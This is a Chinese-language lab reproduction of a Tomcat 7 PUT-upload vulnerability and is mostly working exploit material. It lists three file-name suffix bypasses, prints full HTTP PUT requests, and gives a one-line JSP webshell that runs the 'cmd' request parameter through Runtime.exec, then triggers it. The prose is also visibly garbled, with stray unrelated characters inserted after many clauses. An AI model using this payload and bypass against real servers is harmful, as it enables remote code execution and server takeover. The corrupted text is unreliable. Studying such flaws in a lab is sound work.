1. 漏洞原理
當(dāng)存在漏洞的Tomcat運(yùn)行在Windows/Linux主機(jī)上笛辟, 且啟用了HTTP PUT請(qǐng)求方法( 例如诊笤, 將readonly初始化參數(shù)由默認(rèn)值設(shè)置為false) 沛贪, 攻擊者將有可能可通過精心構(gòu)造的攻擊請(qǐng)求數(shù)據(jù)包向服務(wù)器上傳包含任意代碼的JSP的webshell文件灯变,JSP文件中的惡意代碼將能被服務(wù)器執(zhí)行敬肚, 導(dǎo)致服務(wù)器上的數(shù)據(jù)泄露或獲取服務(wù)器權(quán)限。
影響版本:Apache Tomcat 7.0.0 - 7.0.79
2. 環(huán)境搭建
1. 下載apache-tomcat-7.0.79-windows-x64
2. 修改tomcat配置
3. 漏洞分析
可以看出即使設(shè)置readonly為false,默認(rèn)tomcat也不允許PUT上傳jsp和jspx文件倾贰, 因?yàn)楹蠖硕加胦rg.apache.catalina.servlets.JspServlet來處理jsp或是jspx后綴的請(qǐng)求冕碟, 而JspServlet負(fù)責(zé)處理所有JSP和JPSX類型的動(dòng)態(tài)請(qǐng)求, 從代碼沒有發(fā)現(xiàn)處理HTTP PUT類型的操作,所以可知PUT以
及DELTE等HTTP操作由DefautServelt實(shí)現(xiàn)躁染。 因此鸣哀, 就算我們構(gòu)造請(qǐng)求直接上傳JSP webshell顯然是不會(huì)成功的架忌。 該漏洞實(shí)際上是利用了windows下文件名解析的漏洞來觸發(fā)的吞彤。 根本是通過構(gòu)造特殊后綴名, 繞過Tomcat檢測(cè)叹放, 讓Tomcat用DefaultServlet的邏輯處理請(qǐng)求饰恕, 從而上傳jspwebshell文件。具體來說井仰, 主要有三種方法繞過這樣的檢測(cè):
shell.jsp%20
shell.jsp::$DATA
shell.jsp/
4. 運(yùn)行tomcat 雙擊startup.bat
5. 使用burpsuite抓包
3. 驗(yàn)證漏洞
1. 驗(yàn)證jsp文件埋嵌,無法寫入系統(tǒng)
PUT /test.jsp HTTP/1.1
Host: 172.16.22.76:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 34
<%out.print("Hello World"); %>
2. txt文件可以寫入
3. 修改成shell.jsp/,成功寫入
4. 將jsp木馬寫入
PUT /shell1.jsp/ HTTP/1.1
Host: 172.16.22.76:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 34
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
5. 測(cè)試上傳木馬
http://127.0.0.1:8085/shell1.jsp?cmd=calc
服務(wù)器彈出計(jì)算器